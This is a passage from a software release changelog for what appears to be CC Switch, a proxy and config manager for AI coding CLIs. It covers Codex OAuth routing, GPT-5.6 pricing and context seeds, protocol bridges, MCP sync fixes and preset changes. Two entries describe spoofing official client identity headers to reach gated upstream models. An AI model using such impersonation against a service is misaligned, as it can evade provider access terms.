`cc-switch-official` `model_provider` into `config.toml` with `requires_openai_auth = true`, `wire_api = "responses"`, `supports_websockets = false`, and `base_url` pointing at the local proxy (`apply_codex_official_proxy_route`), so Codex forwards its own ChatGPT authorization to the proxy's `/responses` endpoint and the `codex-official` row never stores a credential (its `auth` stays `{}`). The forwarder passes the client's `Authorization` header through unchanged to the fixed first-party endpoint (`CHATGPT_CODEX_BASE_URL`, now shared by the Codex and Claude adapters), rejects a missing header or a stale `PROXY_MANAGED` placeholder with an actionable error (finish the ChatGPT login / restart Codex or start a new session), and treats official `401`/`403` and auth errors as non-retryable so failover never silently moves the conversation to another account or pollutes the circuit breaker. The native login is never overwritten — takeover preserves OAuth or API-key material into the backup (falling back to live `auth.json` when the backup is missing), config transforms in `codex_config.rs`/`services/proxy.rs` now fail closed instead of swallowing errors, and stale managed placeholders left in other provider tables are cleaned; the `preserveCodexOfficialAuthOnSwitch` setting copy was updated to clarify that takeover routing always preserves the official login and the toggle now only governs direct (non-routing) third-party switches. +- **GPT-5.6 Context Window for Claude Code Codex Takeover**: When Claude Code is routed to a ChatGPT Codex (Codex OAuth) backend via proxy takeover, CC Switch now injects `CLAUDE_CODE_MAX_CONTEXT_TOKENS` and `CLAUDE_CODE_AUTO_COMPACT_WINDOW` set to `372000` into the effective live `settings.json`, so Claude Code stops assuming its default 200K window for the unrecognized GPT model id and auto-compacts before the upstream rejects an oversized prompt. 372000 matches the ChatGPT Codex catalog window for gpt-5.6 — the catalog lists a ~353K effective budget, not the 1.05M API spec — and Claude Code's built-in output reserve and compact buffer then keep the actual compact trigger below that budget. The defaults are gated on every configured model env key (`ANTHROPIC_MODEL`, the haiku/sonnet/opus/fable defaults, and `CLAUDE_CODE_SUBAGENT_MODEL`) starting with `gpt-5.6`: gpt-5.5's upstream catalog oscillates between 272K and 372K and must not inherit them; any non-gpt-5.6 or mixed mapping is skipped (and any value a legacy shared snippet dragged in is stripped), while an explicit user value always wins. The Codex OAuth presets for both Claude Code and Claude Desktop bump their default routes to the gpt-5.6 family (haiku → `gpt-5.6-luna`, main/sonnet/opus → `gpt-5.6`), the custom Codex `config.toml` template default model moves to gpt-5.6, and the Claude Code preset ships both context env keys pinned at 372000 (see the corresponding Changed entry on preset-pinned context windows). On switch-away backfill the injected values are stripped as the mirror-inverse of the injection conditions so program defaults never harden into per-provider explicit values, and both keys are held out of the shared Claude common-config snippet (`services/provider/mod.rs` strip list plus a guard in `live.rs`) because context limits must follow the actual upstream model; six Rust integration tests cover injection, user overrides, legacy-snippet strip, non-gpt5.6 skip, and the backfill round-trip. (openai/codex#31860) +- **GPT-5.6 Sol/Terra/Luna Pricing With 1.25x Cache-Write Rate**: The usage dashboard now costs GPT-5.6 traffic using seeded pricing for the three tiers — Sol at 5 / 30 / 0.50, Terra at 2.50 / 15 / 0.25, and Luna at 1 / 6 / 0.10 USD per million input / output / cache-read tokens — cross-checked against OpenAI's pricing page and OpenRouter. Unlike GPT-5.5 and earlier, whose cache writes are seeded at zero, the 5.6 family bills prompt-cache writes at 1.25x the uncached input rate, so cache-write is seeded at 6.25 / 3.125 / 1.25 for Sol / Terra / Luna. The seed set also adds the bare `gpt-5.6` id as the official Sol alias plus effort-suffix variants (`-low`, `-medium`, `-high`, `-xhigh`, `-minimal`), all priced at Sol rates and mirroring the gpt-5.5 accounting shape. Rows are applied through the seed+repair dual-write path in `src-tauri/src/database/schema.rs`: a `repair_current_model_pricing` branch corrects the earlier zero cache-write seeds for the three tiers in existing databases, matching only rows still holding the exact old input/output/cache-read/cache-write values so user-customized prices survive, and no `SCHEMA_VERSION` bump is required. +- **Native Anthropic Messages Protocol as Codex Upstream**: Codex providers can now target a gateway that only exposes the native Anthropic Messages protocol (`/v1/messages`) via a new `anthropic` value on the upstream-format selector in the Codex form; the local proxy performs bidirectional Responses↔Anthropic request, response, and streaming conversion (new `transform_codex_anthropic` / `streaming_codex_anthropic` modules). The form adds an auth-field selector — `ANTHROPIC_AUTH_TOKEN` sends `Authorization: Bearer` (default) and `ANTHROPIC_API_KEY` sends `x-api-key`, mutually exclusive — an optional Claude Code client-impersonation toggle (`impersonateClaudeCode`, off unless explicitly enabled, spoofing User-Agent / `anthropic-beta` / `x-app` / system-prompt first line and dropping Codex/OpenAI fingerprint headers), and a per-provider `maxOutputTokens` override (Codex omits `model_max_output_tokens`, so without it the path falls back to a conservative 8192 that can truncate long or thinking-heavy replies). The bridge injects standard 5-minute ephemeral `cache_control` so system/tools/history are cached rather than resent at full price, defers stripping the `[1m]` long-context marker until after catalog matching and re-emits the `context-1m-2025-08-07` beta header, gates extended thinking on the trailing turn only so history-resending sessions don't permanently lose it after the first tool call, disables native `web_search` for this profile, drops `tool_choice` when no tools survive filtering, treats a base URL already ending in `/v1/messages` as a full endpoint, and reports truncated streams as incomplete/failed instead of completed. (#5071) +- **Default Model Field for Codex Provider Form**: The Codex provider form now exposes the top-level `model` key of `config.toml` as an editable field, so users can point an existing provider at a newly released model (e.g. `gpt-5.6`) without waiting for a preset update — preset changes only affect newly added providers, while existing ones keep their saved TOML. The field syncs bidirectionally with the TOML editor (mirroring the base-URL pattern), suggests models from the mapping catalog unioned with the provider's `/models` endpoint, offers a one-click "add to mapping" action when the value falls outside a non-empty catalog, and is hidden for official providers. Save-time catalog sync now backfills the first mapping row into the top-level `model` only when the field was left empty, so an explicit value always wins over the implicit row-0 fallback; model names and `base_url` are written with TOML basic-string escaping and control characters are stripped from field input, since `/models` ids are remote data and unescaped interpolation could inject `config.toml` lines such as a forged `[mcp_servers.*]`. The strict model-line matcher (`src/utils/providerConfigUtils.ts`) recognizes escaped output, empty strings, and single-quoted literals to keep extract/set round-trips stable, and the fetched model list is invalidated (with an in-flight sequence guard) whenever request identity changes — base URL, full-URL toggle, API key, or custom User-Agent — so the dropdown never shows a previous provider's models. +- **Switch-Time Common-Config Autosync Now Covers Codex**: When switching away from a Codex provider with `common_config_enabled`, the service now re-extracts the shareable portion of its live `config.toml` into the stored common-config snippet — the same live-to-snippet sync that previously ran only for Claude — so preferences you tweak directly in the running Codex config propagate to every opted-in provider and a removed key isn't silently re-injected on the next switch. Codex was gated out before because its TOML extractor leaked provider-specific and injected content; `extract_codex_common_config` now strips top-level `model`, `model_provider`, `base_url`, and `wire_api`, the entire `[model_providers]` table, `mcp_servers` and the legacy `[mcp.servers]` form, the top-level `experimental_bearer_token` fallback (which would otherwise leak the API key into the shared snippet), the `model_catalog_json` catalog pointer, and the injected `web_search = "disabled"` sentinel, while keeping a user-set `web_search` value as a shareable preference. The sync in `services/provider/mod.rs` is scoped strictly to Claude and Codex (Gemini is still excluded), skipped when the snippet was explicitly cleared, and all failures are warn-only and never block the switch; the autosync-before-strip ordering also self-heals stale snippet values previously baked into provider snapshots, since the re-extracted snippet matches the live values and the value-match strip removes them on the same switch. +- **Claude Subagent Model Configuration**: Claude providers can now pin a dedicated sub-agent model through a new "Subagent" row in the provider form, writing the `CLAUDE_CODE_SUBAGENT_MODEL` env key so Claude Code's spawned sub-agents run on a chosen (typically cheaper or faster) model. The row supports the `[1M]` marker but has no display-name field — it renders a "Not shown in /model" placeholder since the sub-agent model never appears in the `/model` menu — and the "quick set" button now fills it alongside the other tiers. On the proxy takeover path (`services/proxy.rs`), `CLAUDE_CODE_SUBAGENT_MODEL` is added to `CLAUDE_MODEL_OVERRIDE_ENV_KEYS` so it is written when a provider configures it and stale values are cleared when a provider omits it, and the model mapper (`proxy/model_mapper.rs`) gains a `subagent_model` field that passes a request through unchanged when its model (comparing with the 1M suffix stripped) matches the configured sub-agent model, instead of collapsing it to the default-model fallback. The key is also excluded from the shared Claude common-config snippet in `services/provider/mod.rs` so it can't leak across providers, and `modelRoleSubagent` / `modelNoDisplayName` labels were added in all four locales (zh/en/ja/zh-TW). (#4830) +- **1M Context Checkbox on the Claude Fallback Model Field**: The Claude provider form's fallback model field (`ANTHROPIC_MODEL`, the "default/fallback model") now carries the same 1M checkbox that the role-specific Sonnet/Opus/Fable rows already had, so a fallback model backed by a 1M-token window can declare it instead of silently being treated as 200K. Checking the box appends the `[1M]` marker to the fallback model id and unchecking strips it, reusing the shared `hasClaudeOneMMarker` / `setClaudeOneMMarker` / `stripClaudeOneMMarker` helpers, and the checkbox is a no-op when the model field is empty. The marker is written in the documented uppercase form (`[1M]`), which Claude Code parses case-insensitively. This is a frontend-only change to `ClaudeFormFields.tsx`. (#5124, fixes #3679) +- **Zhipu (智谱) Team Plan Quota Query Support**: Added quota-query support for Zhipu's team plan (团队套餐), which the personal-plan query could not reach: it hits the same `open.bigmodel.cn` quota endpoint with `?type=2` and requires two extra request headers, `bigmodel-organization` and `bigmodel-project`, so `detect_provider` cannot tell it apart from the personal plan by base URL alone. The usage-script modal gains a "Zhipu GLM Team" template with organization-ID and project-ID inputs (preserved when switching templates), and the backend routes on an explicit `coding_plan_provider == "zhipu_team"` identifier threaded through the usage script, IPC command, and background query path; the new `query_zhipu_team` in `services/coding_plan.rs` pins the CN site, appends `?type=2`, and shares response parsing (`zhipu_quota_from_body` / `parse_zhipu_token_tiers`) with the personal plan. All three of API key + organization ID + project ID are required — missing any one returns a NotFound that prompts the user to complete them (identifier match is case-insensitive) — and new copy was added across all four locales (zh/en/ja/zh-TW). (#5128) +- **OpenCode Provider Form Gains Headers and Per-Model Token-Limit Editors**: The OpenCode provider form now exposes two previously unreachable config fields as structured editors: a Headers section for the provider's `options.headers` (arbitrary HTTP headers like `HTTP-Referer` or `X-Title` sent with provider requests) with add/remove rows and case-insensitive duplicate-name rejection that reverts the input on conflict, and per-model Token Limits (Context and Output number inputs writing `model.limit.context` / `model.limit.output`, where clearing the field removes it and negative or non-finite values are rejected while valid ones are truncated to integers). The Extra Options block was reworked into a collapsible section (its i18n label stays "Extra Options") that auto-expands when options already exist. Both the headers and extra-options editors switched their placeholder draft keys to colon-bearing prefixes (`draft-header:` / `draft-option:`) — a code comment notes a colon is invalid in an HTTP field name so a draft key cannot collide with a legitimate header, and the same technique now guards option keys — and those drafts are stripped on save, fixing a bug where the old filter discarded any real option key literally starting with `option-` (the former placeholder prefix). New i18n keys were added across all four locales (zh/en/ja/zh-TW), and `aria-label`s were added for the header add/remove and model-details toggle controls in `OpenCodeFormFields.tsx`; the headers state and draft-stripping logic live in `useOpencodeFormState.ts`. (#2907) +- **Tencent Hunyuan Hy3 Model Pricing**: Seeded pricing for Tencent's Hunyuan Hy3 (released 2026-07-06, 256K context) so its usage is billed instead of showing $0. The rows are added to `seed_model_pricing` in `schema.rs` under both the `hunyuan-hy3` and `hy3` ids, since the upstream billing id isn't yet confirmed and one of the two should match logged usage. Prices follow Tencent's launch-day list rate (CNY 1 / 4 / 0.25 per Mtok input / output / cache-hit), converted at 1 USD ≈ 7.14 to $0.14 / $0.56 / $0.035, with `cache_write` left at `0` because no write rate is published. Hy3 actually uses input-length tiered billing (<16K / 16-32K / ≥32K) but the single-price table holds the lowest tier, so long-context requests are under-billed until this is revisited against the official billing page. Being a brand-new model it is seed-only, applied on next app start via `ensure_model_pricing_seeded` with no `SCHEMA_VERSION` bump. ### Changed +- **Codex Chat Prompt-Cache Routing**: Added provider-aware `prompt_cache_key` injection on the Codex Responses→Chat Completions bridge. Kimi Coding and OpenAI official endpoints are enabled automatically, Kimi's preset opts in explicitly, and unknown OpenAI-compatible gateways remain off to avoid strict-schema 400s. The key is taken from an explicit client value or a real client-provided session ID—never a generated per-request UUID—with an advanced Auto/Enabled/Disabled override in all four UI locales. +- **Provider Connectivity Configuration Simplified**: Removed the obsolete per-provider `testConfig` override (timeout, retry count, and degraded-latency threshold) from provider forms, frontend/backend provider metadata, and reachability-check merging. The lightweight `base_url` probe now always uses the single global connectivity-check configuration, while automatic failover remains driven exclusively by its separate proxy timeout and circuit-breaker settings. Also renamed the remaining settings UI and API modules from model-test terminology to connectivity-check terminology, removed the retired first-use confirmation flag, and deleted stale model/prompt/error copy across all four locales. - **Codex Image Capabilities Are Inferred Without a User Toggle**: Generated Codex model catalogs now advertise only models in CC Switch's confirmed, exact text-only registry as `input_modalities = ["text"]`; GPT, aliases, new suffix variants, and all unknown models fail open to `["text", "image"]`. The rectifier's “Text-Only Model Preflight” switch continues to control only proactive proxy request-body replacement and does not change Codex's catalog declaration. Live catalog reverse-import also collapses inferred modalities instead of persisting them as hidden row overrides, so a later registry correction or a model's multimodal upgrade takes effect automatically; only declarations that differ from inference survive a DB-missing/import round-trip. +- **Context Window Values Pinned in Presets Instead of Editable Form Fields**: The `Codex` (ChatGPT/GPT-5.6) and `Kimi For Coding` presets no longer surface the "Max Context Tokens" and "Auto Compact Window" inputs in the provider form; the numbers are now hardcoded directly in the preset env (`372000`/`372000` for Codex, `262144`/`262144` for Kimi For Coding) instead of being exposed as editable `templateValues`. This drops two fields most users never need to touch while keeping both env keys present on purpose: since Claude Code resolves the compact window as `min(model window, value)`, setting it equal to the declared context window is behavior-neutral today, but pinning it explicitly shields the local compaction trigger against remote-config experiments that dial it down. The rare user who wants different numbers can still edit `CLAUDE_CODE_MAX_CONTEXT_TOKENS` / `CLAUDE_CODE_AUTO_COMPACT_WINDOW` directly in the provider's JSON editor. The change is confined to `claudeProviderPresets.ts` and its tests. +- **Universal Provider Auto-Syncs to Live Configs After Being Added**: Adding a universal (multi-app) provider through the Add Provider dialog now immediately pushes it to its live target configs instead of only saving it to the database, so the cross-app config lands in Claude/Codex/Gemini without a separate manual sync step. After `universalProvidersApi.upsert` succeeds, `AddProviderDialog` calls `universalProvidersApi.sync(provider.id)` and reports the combined outcome: a success toast (`universalProvider.addedAndSynced`) when the sync lands, or a non-blocking warning toast (`universalProvider.addedButSyncFailed`) when the provider was saved but the sync failed — while a save failure still aborts early with the existing error toast (`universalProvider.addFailed`) and never attempts the sync. The now-unused `universalProvider.addSuccess` key was removed from all four locales (zh/en/ja/zh-TW) and a new `universalProvider.addedButSyncFailed` key was added alongside the pre-existing `addedAndSynced` key. (#2811) +- **SudoCode Promoted to Paid Sponsor Across Six Clients**: The existing SudoCode preset — previously a `sudocode.us` provider that collided by name with an unrelated service — is replaced in place by the new paid sponsor SudoCode on `sudocode.chat`, now marked `isPartner` (gold star) with `partnerPromotionKey: "sudocode"` and a four-locale promo blurb (zh/en/ja/zh-TW). The preset spans six clients: Claude Code, Claude Desktop, Codex, OpenCode, OpenClaw, and Hermes; the Gemini entry was removed as outside sponsor scope. All endpoints move to `api.sudocode.chat` (the presets that carry an `endpointCandidates` list — Claude Code, Claude Desktop, Codex — collapse it to that single host, dropping the old `sudocode.run` fallback), and the `apiKeyUrl` points to the attributed `sudocode.chat/register?utm_source=ccswitch&utm_medium=partner` signup while `websiteUrl` moves to `sudocode.chat`. Claude Code and Claude Desktop use direct Anthropic passthrough with no model mapping, whereas Codex/OpenCode/OpenClaw/Hermes default to `gpt-5.6-sol` (replacing the old `gpt-5.5`) — Codex/Hermes/OpenClaw over the native Responses format and OpenCode via `@ai-sdk/openai`. The provider icon is refreshed to the new brand PNG, and the promo copy surfaces that one key drives Claude Opus 4.8 on the Claude apps and GPT-5.6 on Codex plus a CNY ¥10 trial-credit offer. +- **LongCat Presets Updated to LongCat-2.0**: The LongCat presets across Claude Code, Claude Desktop, Codex, Hermes, OpenClaw, and OpenCode now default to `LongCat-2.0` in place of the retired `LongCat-Flash-Chat` / `LongCat-2.0-Preview`, advertising the model's real 1M (1048576) context window and — for the Claude Code preset — a raised `CLAUDE_CODE_MAX_OUTPUT_TOKENS` of 131072 plus an added `ANTHROPIC_SMALL_FAST_MODEL` pin. OpenClaw's and OpenCode's base URL move to the `.../openai/v1` path (Codex and Hermes already used it), and the OpenClaw model entry gains `reasoning: false`, `input: ["text"]`, `maxTokens: 131072`, a bumped `contextWindow` of 1048576, and a new `compat.maxTokensField` (`max_tokens`) hint backed by a new optional `compat` field on the `OpenClawModel` type. Because LongCat-2.0 is text-only, the proxy's media sanitizer allowlist now classifies `longcat-2.0` (case-insensitively, keeping the retired `longcat-flash-chat` name for saved configs) so images pasted into a LongCat-2.0 session are replaced with the unsupported-image marker instead of being forwarded upstream and hard-rejected; a regression test covers the classification. (#4838) +- **Volcengine/Doubao/BytePlus Website Links Restored to Invite Pages**: Reverts the v3.16.5 change (`56248087`) that had pointed the `火山Agentplan`, `DouBaoSeed`, and `BytePlus` presets' `websiteUrl` at their product homepages. Per the commit, the `websiteUrl` for these three presets is intentionally the same ccswitch-attributed campaign/invite link as `apiKeyUrl`, so it is restored across all six app preset files — `火山Agentplan` back to its `activity/codingplan` link, `BytePlus` to its `product/modelark` link, and `DouBaoSeed` to the Ark console API-key page, each carrying the `utm_*` attribution params. The `apiKeyUrl` links were already left intact by the reverted commit and are unchanged. +- **Code0.ai Invite Link Updated to Agent Register URL**: The Code0.ai sponsor's `apiKeyUrl` moves from the `?source=ccswitch` referral to the new agent-register invite link `https://code0.ai/agent/register/B2XHxGjGmRvqgznY`, updated across all seven app presets and the Code0 sponsor rows in all four READMEs (`README.md`, `README_ZH.md`, `README_JA.md`, `README_DE.md`). The bare `code0.ai` API endpoint stays untouched. +- **Dropped the Redundant OpenAI Compatible Preset**: Removed the `OpenAI Compatible` custom-template preset from the OpenCode and OpenClaw preset lists so the picker no longer shows two entries pointing at the same place. It was a duplicate entry point — the built-in `custom` provider flow already exposes an interface-format selector whose default (`@ai-sdk/openai-compatible` / `openai-completions`) seeds a byte-identical starting config. Existing providers are unaffected, since presets only seed form defaults on creation and saved providers store concrete `npm`/`baseUrl`/`apiKey`/`models` values; the `@ai-sdk/openai-compatible` dropdown label is deliberately kept as the format option users pick in the custom flow, not the deleted preset. + +### Fixed + +- **Align Codex OAuth Client Identity to Fix 404s on Newest ChatGPT Models**: The newest ChatGPT-gated subscription models (e.g. `gpt-5.6-luna`) now resolve correctly when routed through the local proxy takeover with an official Codex OAuth account, instead of returning a misleading `404 Model not found` even though the account had access. ChatGPT's Codex backend performs model cohort routing by the `originator`+`version` header pair, and cc-switch previously identified takeover requests as `originator: cc-switch` with no version, landing them in a cohort where `gpt-5.6-luna` resolved to an undeployed internal engine. The `CodexOAuth` auth strategy in `proxy/providers/claude.rs` now sends `originator: codex_cli_rs` paired with `version: 0.144.1`, matching the real Codex CLI and satisfying luna's `minimal_client_version` requirement of `0.144.0`. Both headers must be sent together (dropping either re-triggers the 404), and the `CODEX_OAUTH_CLIENT_VERSION` constant must be bumped whenever a newer target model raises the minimum. A direct HTTP A/B test against the live backend confirmed the old identity 404ed while the aligned identity completed successfully, so no WebSocket transport workaround is required. +- **Fail Closed on Responses Upstream Failures Instead of Returning Empty Replies**: When the proxy bridges an Anthropic-format client (Claude Code / Claude Desktop pointed at a Responses gateway) to an OpenAI Responses upstream, a semantic upstream failure that arrives inside an HTTP 2xx body — a `{status:"failed"|"cancelled"}` object, an `error` envelope, or a `response.failed`/`error` SSE event before any output — is now surfaced as a real error so failover can select a different provider, instead of being converted into a silent, empty `end_turn`. The forwarder validates buffered/JSON bodies (`validate_responses_success_response`) and primes streaming responses up to 256 KB (`validate_responses_stream_start`) while still inside the retry loop, and the streaming converter emits an Anthropic `error` event then ignores every event after a terminal so a late delta cannot synthesize a spurious `message_start`. Streams that end cleanly after partial text now finalize as an explicit `max_tokens`-style incomplete turn with content blocks closed in protocol order, whereas a stream cut off mid tool-call or mid-reasoning (partial JSON or a missing thinking signature) yields a `stream_truncated` error rather than a corrupt turn, and on the Codex→Anthropic direction a truncated tool call is reported `incomplete` instead of `completed`. Gateways that ignore `stream:true` and return a single whole JSON document (even without a JSON content-type) are now recognized and expanded into a full Anthropic SSE lifecycle, and malformed client-supplied history is raised as an `InvalidRequest` — a `NonRetryable` category — so it fails fast instead of retrying across every provider. Touches `forwarder.rs`, `streaming_responses.rs`, `streaming_codex_anthropic.rs`, `transform_responses.rs`, and `transform_codex_anthropic.rs`. +- **Preserve Reasoning, Tool Results, and System Roles Across the Responses/Anthropic Bridge**: Content and token accounting that crosses the Responses↔Anthropic bridge in multi-turn tool loops is now preserved instead of being dropped or corrupted. Encrypted Responses `reasoning` items round-trip losslessly by being carried inside a versioned bridge-owned Anthropic thinking `signature` (or a `redacted_thinking` `data` field, prefixed `ccswitch-openai-reasoning-v1:`) and restored on replay, orphaned reasoning-only assistant turns are discarded so they cannot brick the next request with a missing-following-item error, and the streaming converter now consumes the official `response.reasoning_summary_text.*` / `response.reasoning_text.*` event vocabulary (keeping `response.reasoning.*` as a compatibility alias), tracks concurrent items by stable id/output-index, emits the signature before closing the block, and recovers tool arguments from `*.done` / `output_item.done` events when a gateway skips deltas. Non-streaming Responses→Anthropic tool calls with empty arguments normalize to `{}`, invalid arguments in an incomplete turn degrade to `{}` with a warning, and invalid arguments on a completed response are rejected, while on the Codex→Anthropic request path malformed or non-object arguments raise a non-retryable `InvalidRequest`, incomplete historical tool calls are dropped, and only signed thinking blocks are re-encoded as encrypted reasoning. Structured tool results now keep their `is_error` flag, text, base64/URL images, and PDF/`input_file` documents in both directions instead of collapsing to a canonical JSON string, and historical `system`/`developer` messages are hoisted into Anthropic `system` rather than being silently demoted to user turns. For accounting, usage from a successful upstream request is recorded even when the subsequent conversion fails, and the Codex→Anthropic bridge keeps standard 5-minute prompt caching on by default while honoring the dedicated `cache_injection` sub-switch. Touches `reasoning_bridge.rs`, `transform_responses.rs`, `transform_codex_anthropic.rs`, `streaming_responses.rs`, `handlers.rs`, and `forwarder.rs`. +- **Account for Cache-Write Tokens in Proxy Usage and Cost**: Prompt-cache write tokens are now billed correctly on the proxy usage dashboard. The parser reads cache writes from OpenAI/Codex-style usage details (`input_tokens_details.cache_write_tokens` and `prompt_tokens_details.cache_write_tokens`) and preserves them through every response-usage conversion path — Chat→Responses, Responses→Anthropic, Anthropic→Responses, and OpenAI/Chat→Anthropic (`transform_codex_chat.rs`, `transform_responses.rs`, `transform_codex_anthropic.rs`, `transform.rs`, `streaming.rs`) — so cache creation is no longer dropped when a request crosses a format boundary. Because a Codex/Gemini provider's reported `input_tokens` is inclusive of both cache reads and cache writes, the cost calculator now subtracts both before applying the input rate; previously only reads were removed, so cache-write tokens were double-charged at both the input rate and the cache-creation rate. To keep historical rows accurate across this shift, a new `input_token_semantics` column (schema v13; `0` legacy = subtract reads only, `1` total-inclusive = subtract reads and writes, `2` fresh = no subtraction) records how each row's `input_tokens` was stored, so the cost backfill subtracts reads only for pre-existing rows and reads-plus-writes for new total-inclusive rows, while daily rollups are normalized to fresh input and stamped `2`. v12 databases gain the column on both `proxy_request_logs` and `usage_daily_rollups` via `migrate_v12_to_v13`, and Claude-style rows stay fresh input with no subtraction. +- **Stronger Prompt-Cache Breakpoint Injection on the Proxy Bridge**: On the proxy paths that inject Anthropic `cache_control` breakpoints — the `codex_responses_to_anthropic` takeover bridge and the Bedrock native optimizer — the injector now spends its four-breakpoint budget more effectively so long, tool-heavy conversations keep hitting the prompt cache instead of re-sending system, tools, and history at full price every turn. Beyond marking the tools tail, system tail, and the latest cacheable message, it now adds a second older user anchor (`msgs-prior-user`) when at least four messages exist and budget remains, keeping the stable prefix inside Anthropic's 20-block lookback from the newest breakpoint. Injection is short-circuited unless both the optimizer master switch (`enabled`) and the `cache_injection` sub-switch are on, `thinking`/`redacted_thinking` blocks are never chosen as cache targets, and injected markers use Anthropic's standard 5-minute TTL. Caller-owned breakpoints are preserved verbatim — never deleted, reordered, or rewritten — and when a caller already ships more than the supported four, the injector logs a warning, adds no automatic breakpoints, and leaves the markers in place (`cache_injector.rs`, `forwarder.rs`). +- **Kimi For Coding's 256K Context Window Now Takes Effect**: The Kimi For Coding preset's standalone `CLAUDE_CODE_AUTO_COMPACT_WINDOW=262144` (added in #4401 and shipped in 3.16.4) never actually applied, because Claude Code caps unrecognized non-Claude model ids at a 200K window and resolves the compact window as `min(model window, value)`, clamping 262144 back down to 200K. The preset now pairs it with `CLAUDE_CODE_MAX_CONTEXT_TOKENS` (both pinned to 262144) and explicitly routes the endpoint's `kimi-for-coding` alias across `ANTHROPIC_MODEL` and all three tier keys (`ANTHROPIC_DEFAULT_HAIKU/SONNET/OPUS_MODEL`), since Claude Code ignores both context envs for `claude-`-prefixed ids — the non-Claude alias is what unlocks the enlarged window. For already-saved providers, `build_effective_settings_with_common_config` in `services/provider/live.rs` injects the same two context defaults (262144) into the effective live settings at switch time for any provider whose `ANTHROPIC_BASE_URL` is the Kimi coding endpoint (`https://api.kimi.com/coding`), with a mirror-inverse strip on backfill so an injected default never hardens into stored provider config and an explicit user value always wins. Because the alias routing lives only in the preset and not in the injection, a provider saved from the old preset — which set neither the alias nor `CLAUDE_CODE_MAX_CONTEXT_TOKENS` — stays effectively at 200K until the preset is re-applied. Three tests cover backfill injection, user-override preservation, and injected-only strip. +- **Deleted Codex MCP Servers No Longer Resurrected on Provider Activation**: MCP servers are owned by the database `mcp_servers` table and the `[mcp_servers]` section in Codex's live `config.toml` is only a projection re-synced after every write, but switching away used to bake that projection into the stored provider snapshot — so a server you deleted in the app came back to life the next time you activated that provider, and per-entry reconcile (which only knows rows still in the DB) could never clean up the orphan. Switch-away backfill now strips `[mcp_servers]` (and the legacy `[mcp.servers]` form) from the stored settings via `strip_codex_mcp_servers_from_settings`, and any snapshot already polluted self-heals the next time you switch away from it. One user-visible consequence: a hand-written `[mcp_servers.*]` section in a Codex provider's config is stripped out of the stored snapshot the first time you switch away, so going forward define Codex MCP servers through the MCP manager (the DB `mcp_servers` table) rather than by hand-editing the provider config. +- **Codex MCP Sync Fails Closed on an Unparseable config.toml**: When writing a single MCP server into Codex, `sync_single_server_to_codex` silently fell back to an empty `toml_edit` document if the existing `config.toml` failed to parse and then wrote the whole file back — wiping every other section (`model`, `model_providers`, comments) and leaving only the one synced `[mcp_servers.]` entry, a destructive fallback left behind when an earlier fix (`3a548152`) hardened only the removal path. The sync path now returns an `McpValidation` error and leaves the file untouched, matching the fail-closed behavior already used on the read/validate path, so a temporarily malformed config can no longer be silently truncated to a single MCP table. +- **MCP Operations Now Report Per-App Failures Instead of Silently Blocking Others**: Importing MCP servers from apps used to swallow every importer error with `unwrap_or(0)`, so a corrupt Codex `config.toml` surfaced only as "imported 0 servers" with no hint anything went wrong; `import_from_all_apps` now imports each app (claude/codex/gemini/opencode/hermes) best-effort and, when any fail, reports an aggregated error naming the failing apps alongside the count that did import, with the frontend refreshing the server list on settle so partially-imported servers still appear. On the projection side `sync_all_enabled` iterated every app with `?`, so one app's unparseable live file (e.g. a broken `~/.claude.json` that passes the existence gate but fails to parse) blocked every app behind it in iteration order and bubbled a false "switch failed" back even though the target app's live file and the database were already updated; switch and save now re-project only the target app through the new `sync_enabled_for_app` and degrade projection failure to a warning, while config-import and cloud-restore keep the all-apps sweep but collect failures best-effort. Toggling `unify_codex_session_history`, which rewrites the current official provider's live `config.toml` in full and drops the `[mcp_servers]` projection, now re-projects Codex MCP through that same target-only path so enabled servers no longer silently vanish until the next provider switch. In every degraded case the projection self-heals on the next switch or MCP toggle. +- **Codex Common-Config Form Preserves Comments and Key Order**: Toggling "use common config" in the Codex provider form used to route the merge through the frontend `smol-toml` implementation, which re-serialized the whole document (parse → deep-merge → stringify): comments were dropped, keys were reordered, and empty parent table headers like `[model_providers]` were synthesized — the long-standing "config.toml keeps getting reordered" symptom. The merge now runs on a backend command backed by the same `merge_toml_table_like` / `remove_toml_table_like` used to write live configs, so the form preview and the live write share one merge semantic and hand-written formatting survives edit-time merges, and the frontend helper was deleted outright so the pattern can't come back. Because the operations are now async, a landing result is discarded unless it is still current: a per-hook sequence number covers rapid toggle/save races so an earlier merge resolving after a later removal can't flip the switch back (last operation wins), and a config-baseline check keeps a stale merge from clobbering a TOML the user hand-edited while the merge was in flight, with the checkbox self-healing via the existing inference effect. +- **Inject a Single Auth Placeholder on Managed Claude Takeover**: Switching the managed Claude provider from a third-party endpoint (DeepSeek/MiMo/…) to a Codex-managed provider wrote both `ANTHROPIC_API_KEY` and `ANTHROPIC_AUTH_TOKEN` as `PROXY_MANAGED` into `~/.claude/settings.json`, so Claude Code warned "Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set - auth may not work as expected" on every run — an accretion artifact of the original API-key insert (#1049, Copilot) and the later `ANTHROPIC_AUTH_TOKEN` preservation that avoided a login prompt (#3784), which added the token without removing the key. The `ManagedAccount` branch of `apply_claude_takeover_fields_for_provider` now clears all token keys and injects exactly one placeholder: `ANTHROPIC_AUTH_TOKEN` for Codex-managed providers and `ANTHROPIC_API_KEY` for Copilot; local-proxy auth is unaffected because the forwarder resolves the `PROXY_MANAGED` placeholder from either header. Because enabling takeover short-circuits (`return Ok(())`) when the live config already matches the current proxy, users upgrading with an existing double-key `settings.json` may need to toggle Claude routing off and back on once (or switch providers) to trigger the rewrite. (#4919, #5095) +- **Skip Reachability Probes for Official Providers**: Health/connectivity checks no longer derive an unauthenticated probe target from an official provider's runtime adapter defaults. Batch `stream_check_all_providers` now skips any entry whose `category` is `official`, and `StreamCheckService::resolve_base_url` returns an explicit error for official providers instead of falling back to a first-party endpoint (e.g. `https://chatgpt.com/backend-api/codex`) and probing it without credentials — a request that is meaningless and always fails. The connectivity-check button is already hidden for these providers in `ProviderCard.tsx`, so this is defense-in-depth that also matters now that the built-in Codex official provider participates in takeover; a regression test covers the Codex official provider so a future adapter change cannot silently reintroduce the probe. +- **Usage and Quota Queries Reject Transient Transport Failures So Retry and Keep-Last-Good Work**: Usage and quota queries frequently showed spurious "query failed" states that a manual refresh could not clear, because every transport-level failure — including read-timeouts mid-body — was folded into `Ok(success:false)`, so react-query's retry never fired and the failure body poisoned the cache as if it were real data. The `balance`, `coding_plan`, and `subscription` services now return `Err` for send failures and body-read failures, reading the body via `bytes()` before `serde_json::from_slice` (reqwest's `json()` wraps read errors as `Decode`, which made error-kind checks on it dead 